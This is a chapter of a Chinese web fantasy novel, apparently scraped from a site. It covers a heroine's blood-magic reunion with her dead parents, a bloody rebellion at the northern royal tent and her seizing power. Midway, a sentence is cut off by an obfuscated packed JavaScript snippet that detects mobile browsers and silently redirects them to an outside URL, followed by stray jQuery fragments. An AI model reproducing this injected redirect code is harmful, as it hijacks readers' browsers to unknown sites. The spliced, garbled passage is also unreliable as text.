崖底的篝火舔舐着干柴，噼啪声在空旷的凹洞里格外清晰。虞怜割破指尖，鲜红的血珠滴落在岩壁上，顺着那些古老的纹路缓缓流淌。北境秘术在血色中渐渐亮起，如同活过来一般，将沉银矿的冶炼之法映得清清楚楚。


    “以血为引，以魂为媒……”她轻声念着那些晦涩的文字，指尖随着血痕勾勒，“原来沉银不仅能铸神兵，还能……操纵亡灵。”


    文骋靠在岩壁上，看着她指尖的血珠落在石面上，晕开一朵朵细小的血花。那些血花触及秘术纹路的刹那，忽然腾起淡蓝色的火焰，火焰中隐约浮现出无数人影，都是些穿着北境战甲的士兵，手里握着锈蚀的兵器，沉默地注视着他们。


    “这是……”文骋的声音有些发颤。


    “沉银矿下的亡灵。”虞怜的目光掠过那些虚影，心脏像是被一只无形的手攥紧，“他们都是战死的北境勇士，被沉银的力量束缚在此，永世不得超生。”


    她按照秘术所说，以指尖血在地上画了个复杂的图腾，口中念起北境的古老咒语。蓝火突然暴涨，那些虚影在火焰中剧烈晃动，最终凝结成两个清晰的身影——


    一个穿着镇国大将军的铠甲，长枪拄在地上，面容刚毅如昔；一个披着北境王族的银袍，凤钗上的宝石在火光中流转，正是沈烈与银璃。


    “爹！娘！”虞怜再也忍不住，扑过去跪倒在地，泪水决堤而下。


    沈烈放下长枪，粗糙的手掌抚上她的头顶，动作一如当年在沈家书房：“我的昭儿，长大了。”


    银璃蹲下身，指尖擦去她脸颊的泪，声音温柔得能滴出水：“让你受苦了。”


    三人相拥而泣，蓝火在他们周围跳跃，映得彼此的脸忽明忽暗。虞怜将这些年的委屈、挣扎、仇恨一股脑倒出来，从沈家灭门说到潜伏文府，从血灵觉醒说到北境试炼，说到最后声音哽咽，几乎喘不过气。


    “傻孩子。”沈烈的眼眶泛红，拍着她的背，“都过去了。你做得很好，比爹当年勇敢。”


    银璃则拉着她的手，放在膝头轻轻摩挲，像小时候为她暖手那样：“我就知道，我的女儿不会被打垮。”


    文骋远远看着，忽然觉得胸口的伤不那么疼了。他看着沈烈耐心听女儿哭诉，看着银璃为女儿整理散乱的发丝，忽然明白虞怜身上那种坚韧来自何处——那是沈家人的骨血，也是银璃的传承。


    半柱香的功夫转瞬即逝，沈烈与银璃的身影开始变得透明。蓝火渐渐微弱，那些亡灵虚影也开始消散。


    “我们该回去了。”沈烈的声音带着不舍，“沉银的力量只能支撑这么久。”


    银璃最后看了文骋一眼，对虞怜道：“文骋虽是文家人，却与他父兄不同。有些债该讨，有些人该放，你心里该有杆秤。”


    虞怜不置可否，只是紧紧攥着银璃的手，直到那只手化作点点蓝光消散在空气中。沈烈的身影也渐渐淡去，临走时留下一句：“国师的真实身份，是三百年前银后留下的守陵人，他要的从来不是沉银，是……”


    后面的话消散在风中，虞怜只抓住“守陵人”三个字，心头疑窦丛生。


    待蓝火彻底熄灭，崖底重归黑暗，虞怜才收敛心神。她按照父母指引的方向，在悬崖深处的冰洞里找到了天山雪莲——那雪莲生长在冰层包裹的石缝中，花瓣洁白如瓷，花蕊泛着淡淡的金光，正是古籍记载的解蛇毒圣药。


    “找到了。”她将雪莲小心地包进丝帕，转身扶起文骋，“我们该回去了。”


    两人相互搀扶着走出雪山，沿途的积雪已经开始融化，露出被掩埋的道路。越靠近王帐，空气中的血腥味越浓，虞怜的心一点点沉下去。


    当王帐的轮廓出现在视野中时，她终于明白那种不安来自何处——营地的帐篷倒了大半，地上散落着兵器和尸体，鲜血浸透了雪地，凝成暗红的冰。而王帐顶端飘扬的，不再是代表王权的冠冕旗，而是银云的狼首黑旗。那旗帜在王帐顶端猎猎作响，映着满地血色，像极了银云黑袍上绣的嗜血图腾。他□□的白马正是银坚的坐骑“踏雪”，此刻不安地刨着蹄子，蹄铁碾过亲卫的尸体，发出令人牙酸的声响。


    “杀了他们！”银云的独眼里闪烁着疯狂，话音未落，周围的乱兵已举刀扑来。


    虞怜的牙齿咯咯作响，再一次感受到那种不受控制的杀意如同烈火，烧得她全身血液都沸腾了起来——


    她在银云的识海里看到了发生的一切：银云和银华趁着守卫松懈之时逃出地牢，联系旧部发动叛乱，直接攻向毫无防备的王帐！


    她听到一声锐喝划破混乱，银坚的老护卫长拖着残腿挡在卓娅身前。他左臂已断，只剩右手握着半截刀，却硬是劈开了第一波攻势。那些跟随银坚征战过的老兵们见状，纷纷嘶吼着聚拢过来，用身体筑成一道人墙。


    “卓娅！带着景先生走！”老护卫长的刀砍翻一个乱兵，自己也被长矛刺穿了小腹，“去黑石城找银玄大人！”


    卓娅的银裙已被血染红，她死死护着景安，怀里还抱着银坚的兵符。银华的部下狞笑着围上来，刀尖抵住她的咽喉：“老女人，把兵符交出来，爷让你死得痛快点！”


    “呸！”卓娅啐出一口血沫，将兵符塞进景安怀里，自己抽出靴中短刀，“我是公主的人，死也不会屈从叛贼！”


    短刀刺入最近一个乱兵的咽喉时，她的后背也挨了一刀。卓娅踉跄着回头，看见景安被老护卫们护着冲向密道，才笑着闭上眼，倒在冰冷的血泊里。


    虞怜眼睁睁看着这一切，指甲深深掐进掌心。那些熟悉的面孔——银坚的亲卫、自己的侍女、草原上的族人，一个个倒在乱刀之下，血腥味浓得让她几乎窒息。


    “银云！”她的声音嘶哑如裂帛，红袍在风中狂舞，“你敢！”


    话音未落，一股骇人的力量从她体内爆发。地面剧烈震颤，乱兵们手中的兵器纷纷脱手飞向天空，银云□□的踏雪突然人立而起，将他狠狠掀下马背。“砰”的一声闷响，银云撞在王帐的廊柱上，喷出的血染红了半面墙壁，当场昏死过去。


    银华见状大惊，挥剑直指虞怜：“妖女！你勾结中原人叛乱，害死王上，还敢在此放肆！”她身后的士兵迅速围成圆圈，剑尖齐齐对准虞怜，寒光映着他们脸上的恐惧。


    “阿昭，冷静。”文骋按住她颤抖的肩，秋水雁翎刀挡在她身前，“现在不是冲动的时候。”


    虞怜的蓝瞳里翻涌着血色，血灵的力量几乎要冲破理智。但看着文骋沉稳的眼神，感受着他掌心传来的温度，那些狂暴的力量竟一点点收敛。她深吸一口气，指尖泛出的银光陡然转向——不是攻击，而是渗入银华部下的识海。


    “你们看清楚，谁才是北境的叛徒！”


    银光闪过的刹那，那些士兵忽然捂着头惨叫。他们的识海里浮现出银云与国师密谈的画面，浮现出银华用族人鲜血祭旗的场景，更浮现出银坚躺在冰棺里，胸口插着西凉匕首的模样。


    “是银云害了王上！”一个士兵突然扔掉长剑，跪倒在地，“我等愿归顺公主！”


    多米诺骨牌般的倒戈瞬间蔓延开来。银华的部下纷纷调转矛头，将他围在中央。他握着剑的手不住发抖，看着那些曾经对自己唯命是从的士兵，终于明白什么叫众叛亲离。


    混乱渐渐平息，王帐周围已无半分活气。银坚的亲卫全军覆没，族人死伤过半，连积雪都被染成了黑红色。虞怜走到昏迷的银云面前，指尖按上他的眉心。


    “北境不容背叛。”她的声音平静得可怕，银光从指尖涌入，银云的身体剧烈抽搐，独眼里的疯狂被空洞取代——他的血灵，被彻底抹去了。


    虞怜收回手，看着周围人畏惧的神情，心中一凛，但依然镇定自若地说：“这样的叛徒，不配拥有长生天的恩赐。我是长生天的女儿，现在我代表我们的母亲收回血灵。”


    银华目睹这一幕，吓得瘫倒在地。当虞怜的指尖转向他时，他连求饶的力气都没有，只能眼睁睁看着自己引以为傲的驭兽血灵，像被风吹散的烟雾般消失。


    “即日起，凡背叛北境者，皆以此为戒。”虞怜的声音传遍王帐，那些银云银华的旧部闻言，无不瑟瑟发抖。


    三日后，幸存的族人聚集在王帐废墟前。虞怜坐在临时搭起的案前，面前摊着北境的地图：“银云银华已受惩戒，其部下既往不咎。即日起，由我暂代王事，景安掌粮草，银玄管军务。”


    她顿了顿，目光扫过众人：“当务之急是找回银玄大人与景先生，救治伤员，重建王帐。”


    议事结束后，虞怜匆匆赶往黑石城。银坚的冰棺被安置在密室内，巫医正将天山雪莲捣成糊状，一点点喂进他嘴里。然而半个时辰过去，银坚的眼皮依旧紧闭，呼吸微弱得几乎察觉不到


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16082901|179439||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    “怎么样？”虞怜的声音带着不易察觉的颤抖。


    巫医摇了摇头，白发在烛火下泛着银光：“雪莲护住了心脉，却没能唤醒王上。他离开冰棺太久，蛇毒已侵入骨髓，只怕此后都不会醒转了……”


    虞怜走到冰棺旁，看着银坚苍白的脸。他的眉头依然紧蹙，像是在做什么痛苦的梦。她忽然想起银坚将兵符交给她时说的话：“北境，需要有强大的人来守护。”


    帐外传来银玄的脚步声，他浑身是伤，身后跟着被找到的景安。


    冰棺前的烛火忽明忽暗，映着银坚沉睡的脸。天山雪莲的余韵在空气中弥漫，却驱不散满室的沉郁。银玄单膝跪地，甲胄上的血痂已凝成暗红，他抬起头时，眼底是罕见的一片血红：“公主，王上不醒，北境不能一日无主。请您继位，统领草原！”


    景安紧随其后跪下，青色袍角沾满尘土与血痕，他捧着那枚从卓娅尸身旁找回的兵符，双手过顶：“臣附议。冬至试炼已显天意，您以血灵护北境，以智谋安民心，唯有您能撑起这片草原。”


    虞怜望着冰棺中沉睡的银坚，指尖抚过棺沿的雕花——那是银璃当年为兄长亲手刻的狼图腾，如今却要见证新王的诞生。她忽然想起父母消散前的眼神，想起卓娅倒在血泊里的笑容，想起老护卫长断臂挡刀的决绝。


    “北境的王，从不是坐在王座上的人。”她的声音在墓室里回荡，带着冰棺的寒气，“是能让牛羊肥壮、让孩童安睡、让边境无烽火的人。”


    她接过兵符，冰凉的金属触感渗入掌心：“我可以暂代王事，但继位之事，需等舅舅醒转。”


    银玄与景安对视一眼，皆从对方眼中看到了释然。他们知道，这已是虞怜能做出的最大让步。


    此时，密道深处忽然传来窸窣声响。景安猛地抬头，握紧了袖中的短刀——那是卓娅临终前塞给他的，说“密道里未必安全”。


    “谁？”银玄低喝一声，手按在腰间的弯刀上。


    阴影中走出几个身影，为首的是个瘸腿老兵，怀里还抱着个瑟瑟发抖的孩子：“是……是我们，从乱兵手里逃进密道的。”他身后跟着十几个幸存者，有老有少，都是银坚亲卫的家眷。


    景安松了口气，刚要起身，却见那老兵的眼神有些异样。他怀中的孩子突然尖叫，指着老兵的后背：“有……有虫子！”


    众人赫然望去，只见老兵黑袍下爬出无数细如发丝的黑虫，正顺着他的脖颈往脸上爬。那是……银云豢养的尸蛊！


    “不好！”景安猛地将虞怜推开，自己却被尸蛊爬满了手臂。黑虫钻入皮肉的刹那，他只觉得万蚁噬心，疼得几乎晕厥。


    “是银云的余孽！”银玄挥刀劈向老兵，刀锋却被一股无形的力量挡住——那老兵的身体竟在尸蛊的操控下，变得坚硬如铁。


    银光忽然亮起，凤凰图腾在虞怜掌心怒放——


    银光扫过之处，尸蛊纷纷坠地，化作黑灰。被操控的老兵们眼神恢复清明，却已无力回天，一个个倒在地上，嘴角溢出黑血。景安的手臂上留下密密麻麻的血洞，疼得他冷汗直流，却仍死死护着身后的孩子。


    “带他们去巫医那里。”虞怜按住景安的伤口，指尖泛出的银光缓解了他的痛苦，“尸蛊虽除，余毒还需清。”


    待幸存者被送走，墓室重归寂静，景安才喘着气开口：“密道里……还有更多尸蛊。银云早有准备，他不仅想夺权，还想……屠尽王帐的人。”


    三日后，巫医的药庐里，景安的伤口渐渐愈合，却留下了丑陋的疤痕。虞怜来看他时，他正对着地图标注各部落的伤亡：“银云银华的旧部已收拢大半，只是……”


    “只是他们怕被清算。”虞怜接过地图，指尖点在黑石城的位置，“我会召开各部会议，告诉他们，既往不咎。”


    她转身要走，却被景安叫住：“公主，您真的要等王上醒转？巫医说……”


    “他会醒的。”虞怜的声音没有丝毫犹豫。


    走出药庐时，雪已经停了。阳光透过云层洒在王帐的废墟上，映得那些未化的血冰闪闪发光。虞怜望着远处的草原，那里有牧民开始重建毡房，有孩童在雪地里追逐，有炊烟袅袅升起。


    她知道，北境的春天，总会来的。而她要做的，就是在舅舅休息的这段时间里，替他，也替母亲守住这片等待春天的草原。